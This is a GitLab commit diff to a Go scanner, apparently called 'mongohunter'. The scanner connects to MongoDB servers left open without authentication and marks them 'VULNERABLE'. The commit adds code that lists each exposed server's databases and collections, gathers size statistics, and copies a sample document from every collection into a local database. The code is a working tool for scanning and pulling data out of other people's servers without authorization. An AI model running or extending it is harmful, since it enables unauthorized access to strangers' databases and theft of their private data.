Commit 2ec3b8c3 authored by Madhurendra 's avatar Madhurendra 🤹

Insert samples to database

parent 4f88e98f
......@@ -77,24 +77,24 @@ func workDispatcher(ipAddr chan string, data chan string) {
}
}
var client *mongo.Client = nil;
var client *mongo.Client = nil
func getClient() (*mongo.Client) {
if (client == nil) {
func getClient() *mongo.Client {
if client == nil {
var err error
ctx, _ := context.WithTimeout(context.Background(), 10*time.Second)
client, err = mongo.Connect(ctx, options.Client().ApplyURI("mongodb://localhost:27017"))
if err != nil {
return nil;
return nil
}
println("Created new connection...")
// Check the connection
err = client.Ping(context.TODO(), nil)
return client;
return client
} else {
return client;
return client
}
}
......@@ -119,14 +119,40 @@ func testIP(input string, data chan string) {
}
} else {
local := getClient()
//var result = bson.D{}
println("\r\033[K" + input + " is VULNERABLE:")
fmt.Printf("%v", dbs)
println("\n")
local := getClient()
//for db := range dbs.Databases {
//
//
//}
var collections = bson.D{}
for _, db := range dbs.Databases {
d := client.Database(db.Name)
col, _ := d.ListCollectionNames(context.TODO(), bson.D{{}})
for _, collection := range col {
//count, _ := d.Collection(collection).EstimatedDocumentCount(context.TODO(), nil)
var stat bson.M
_ = d.RunCommand(context.Background(), bson.M{"collStats": collection}).Decode(&stat)
doc := &bson.D{}
_ = d.Collection(collection).FindOne(context.TODO(), bson.D{{}}).Decode(&doc)
var n = db.Name + "~" + collection
if n != "local~startup_log" {
collections = append(collections, bson.E{
n, bson.D{
{"count", stat["count"]},
{"avg", stat["avgObjSize"]},
{"storage", stat["storageSize"]},
{"sample", doc},
},
})
}
}
}
collection := local.Database("tik").Collection("mongohunter")
filter := bson.M{"_id": bson.M{"$eq": input}}
updateOp := options.UpdateOptions{}
......@@ -136,7 +162,8 @@ func testIP(input string, data chan string) {
bson.D{
{"$set", bson.D{
{"_id", input},
{"dbs", dbs.Databases},
//{"dbs", dbs.Databases},
{"collections", collections},
{"totalSize", dbs.TotalSize},
{"updated", time.Now()},
}},
......@@ -144,13 +171,11 @@ func testIP(input string, data chan string) {
{"created", time.Now()},
}},
}, &updateOp)
fmt.Println("Updated info about " + input)
if err != nil {
fmt.Print(err)
return
}
println("\r\033[K" + input + " is VULNERABLE:")
fmt.Printf("%v", dbs)
println("\n")
if *outFile != "null" {
data <- input
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment